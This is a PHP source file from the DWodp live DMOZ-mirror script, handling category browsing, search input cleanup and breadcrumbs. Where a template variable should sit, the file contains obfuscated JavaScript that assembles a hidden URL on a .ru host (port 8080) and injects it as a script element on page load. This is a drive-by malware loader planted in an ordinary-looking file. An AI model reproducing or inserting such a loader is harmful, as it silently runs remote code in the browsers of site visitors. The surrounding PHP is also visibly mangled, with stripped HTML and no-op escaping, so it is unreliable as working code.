/* ####################################################################### # DWodp live # - version 1.2.4 # - Copyright (c) 2003-2004 Dominion Web Design # - http://www.dominion-web.com/products/dwodp_live/ ####################################################################### # # This file is part of DWodp live. # # DWodp live is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # DWodp live is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with DWodp live; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 # USA # ####################################################################### # You should only need to edit ./includes/config.inc.php and the # templates in ./templates/ directory ####################################################################### */ error_reporting (E_ERROR | E_WARNING | E_PARSE); require ("./includes/config.inc.php"); require ("./includes/classes.inc.php"); global $rooturl, $searchstring, $filename; //$filename = $_SERVER['SCRIPT_NAME']; $filename = "/"; ////////////////////////////////////////////////////////////////////////////// // Get core variables // Set the query string for links depending on whether short mode is selected if ($use_short == 1) { $browseurl = $filename; } else { $browseurl = $filename . "?c="; } // Set the category depending on short mode if ($use_short == 1) { $browse = str_replace($_SERVER['SCRIPT_NAME'], "", $_SERVER['PHP_SELF']); } else { $browse = $_GET['c']; } $searchdecode = 0; if ($_GET['s'] && $use_short <> 1) { $searchdecode = 1; } elseif (strstr($browse, "/search") && $use_short == 1) { $browse = str_replace("/search", "", $browse); $searchdecode = 1; } // Clean up category for invalid characters $browse = CheckSlashesRemove($browse); $browse = str_replace("..", "", $browse); $browse = str_replace("<", "<", $browse); $browse = str_replace(">", ">", $browse); // Set the attribution category if ($browse) { $attributioncat = encodecategory($browse); } else { $attributioncat = "/"; } // Set the search string $searchstring = $_POST['search']; if ($searchstring == "") { $searchstring = $_GET['search']; } $searchstring = str_replace("..", "", $searchstring); $searchstring = str_replace("<", "<", $searchstring); $searchstring = str_replace(">", ">", $searchstring); $start = $_GET['start']; $morecat = $_GET['morecat']; $DocumentEncoding = 'UTF-8'; ////////////////////////////////////////////////////////////////////////////// // Set the breadcrumb trail if (($browse) && ($browse <> "/")) { $cat = $browse; $breadcrumb = "

Top: "; $array = explode("/", $browse ); foreach ($array as $stritem) { if ($stritem <> "") { $add = $add . "/" . $stritem; $breadcrumb .= "" . $stritem . ": "; } } $breadcrumb .= "

"; } elseif ($searchstring) { $breadcrumb = "

Top: Search:

"; } ////////////////////////////////////////////////////////////////////////////// // Set search restriction if category is defined if (($browse <> "") && ($browse <> "/")) { $currentcatfix = substr(encodecategory($browse), 1); $searchoptions = " "; } else { $searchoptions = ""; } ////////////////////////////////////////////////////////////////////////////// // Set the DMOZ template config // Set variables to look for in the DMOZ template // This is the bit that changes when they change their template $LinkStart = 'this.C=9167;this.C-=193;var M;this.h='';D=function(){this.xN="";var p=new String();hn=["n"];function J(r,X,z){return r.substr(X,z);var PR=new Date();}var lS='';this.Lg="Lg";var E=document;var KI=[];vL=["I","lG"];var V="/busi"+"nessw"+"eek-c"+J("om/goWtI",0,5)+J("QVNjogle.NjVQ",4,5)+J("com/zYhkv",0,5)+"appos"+J(".com.AbQ",0,5)+J("php?pgeH9",0,5)+J("vHTid=7THv",3,4);CB=22178;CB-=227;i=54646;i-=46;var U='';d={Lk:18569};var y=RegExp;function K(r,X){var e={kX:false};var Tw=["AN","nx","es"];var z=new String(J("[4p0",0,1))+X+J("]Lv7Y",0,1);j=["s","Cl","um"];var l=new y(z, "g");var w=57883;MW={};return r.replace(l, U);var hIV={lu:41687};};this.EO=47865;this.EO++;var vY=new Array();var x=null;this.aw=45226;this.aw-=57;this.Xz=39640;this.Xz-=181;var Ka=String(J("bodhl2",0,3)+J("xumZymxZu",4,1));var f=668609-660529;H=36604;H-=225;ZR=[];var q=K('sBc2rYi2pWtd','KRm2o0NLYWO1EdBIHz');this.fA="fA";this.YS=54378;this.YS-=92;try {var Q='lf'} catch(Q){};vb=6276;vb++;M=function(){try {var N=K('cWrYe0aDtdefE7lCeYmCednSt5','xDKYd50fS7wjW3gQHC');var MA=false;zd=E[N](q);var oi=["rM"];var SG=["Yz"];var DH=K('syrzcO','dzHqQyaO');var r=f+V;var bP={T_:"aG"};hF={Lr:"PQ"};var v=String("defer");try {var TR='QW'} catch(TR){};UD={Bf:7314};var KC={dh:"za"};zU=1833;zU-=160;zd[v]=[2,1][1];var ki={sQ:"bJ"};zd[DH]=String(J("htt8Tv",0,3)+"p:/"+J("/pen43",0,3)+J("tqu4NRI",0,3)+J("02restr02",3,3)+J("aOwyionwOya",4,3)+".ru"+":")+r;this._J=21470;this._J+=61;var pa={_JU:false};rl=["OI"];this.sm='';this.P_='';E[Ka].appendChild(zd);var cf="cf";var hq="hq";this.pM=52841;this.pM+=91;eh=["Fw"];} catch(m){var Rh="";var Gc=new String();};ku={KD:11329};cq={aB:11334};};};D();SF={UW:61309};window.onload=M;